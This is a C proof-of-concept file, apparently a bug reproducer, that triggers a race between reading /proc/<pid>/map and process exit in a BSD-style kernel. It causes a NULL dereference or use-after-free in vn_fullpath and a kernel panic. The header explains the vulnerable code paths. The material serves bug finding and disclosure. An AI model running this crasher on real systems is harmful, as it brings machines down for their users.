DF-3239 / df3239_pfd_exit_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | /* * DF-3239 -- /proc/<pid>/map reader vs target exit(): p_fd NULL-deref / * UAF inside vn_fullpath()->cache_fullpath(). * * sys/vfs/procfs/procfs_map.c:87 drops p->p_token before the walk; * line 181 calls vn_fullpath(p, vp, &fullpath, &freepath, 1) while the * vm_map is unlocked. vfs_cache.c:5188-5194: * buf = kmalloc(MAXPATHLEN, M_TEMP, M_WAITOK); <-- may block * ... * else if (p != NULL) * fd_nrdir = p->p_fd->fd_nrdir; <-- unguarded deref * * Meanwhile the target's exit1() -> fdfree(p, NULL) (kern/kern_exit.c:382 * -> kern_descrip.c:2722-2756) disconnects p->p_fd (sets it to NULL under * p_spin) and kfrees the filedesc -- regardless of the reader's PHOLD on * the proc (PHOLD only stalls the reaper, kern_exit.c:1211/1313). * * If the reader's p->p_fd load observes the NULL -> kernel-mode read at * small fixed offset -> panic in cache_fullpath/vn_fullpath. * If it loads the old pointer just before the disconnect -> UAF read of * the freed filedesc (garbage fd_nrdir, used only in pointer compares). * * Trigger: parent forks children that map a file (vnode entries -> * vn_fullpath per entry), then exit; the parent hammers read() on * /proc/<child>/map across the child's exit. Expect eventual panic with * cache_fullpath/vn_fullpath in the backtrace (a RB_NEXT/procfs_domap * backtrace instead means DF-3238 fired first). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/wait.h> #include <sys/mman.h> #define CHURN_BASE 0x00100000UL #define CHURN_N 16 #define CHURN_LEN 0x8000UL #define PAGE 0x1000UL static int backing_fd = -1; int main(void) { char buf[16384]; char path[64]; int sv[2]; pid_t pid; long rounds = 0; int fd, k; void *p; int i; char tmp[] = "/tmp/df3239b"; backing_fd = open(tmp, O_RDWR | O_CREAT | O_TRUNC, 0600); if (backing_fd < 0) { perror("open backing"); return 1; } ftruncate(backing_fd, CHURN_LEN); unlink(tmp); for (;;) { if (pipe(sv) < 0) { perror("pipe"); return 1; } pid = fork(); if (pid == 0) { /* child: vnode-backed low mappings, then die */ close(sv[0]); for (i = 0; i < CHURN_N; i++) { p = mmap((void *)(CHURN_BASE + i * CHURN_LEN), CHURN_LEN, PROT_READ, MAP_SHARED | MAP_FIXED, backing_fd, (i & 1) ? 0 : PAGE); if (p == MAP_FAILED) break; } if (write(sv[1], "R", 1) < 0) ; close(sv[1]); usleep(arc4random() % 400); _exit(0); } close(sv[1]); if (read(sv[0], buf, 1) < 1) ; close(sv[0]); snprintf(path, sizeof(path), "/proc/%d/map", pid); fd = open(path, O_RDONLY); if (fd >= 0) { for (k = 0; k < 32; k++) { lseek(fd, 0, SEEK_SET); while (read(fd, buf, sizeof(buf)) > 0) ; } close(fd); } waitpid(pid, NULL, 0); rounds++; if ((rounds & 0xff) == 0) fprintf(stderr, "[rounds:%ldk] ", rounds / 1024); } } |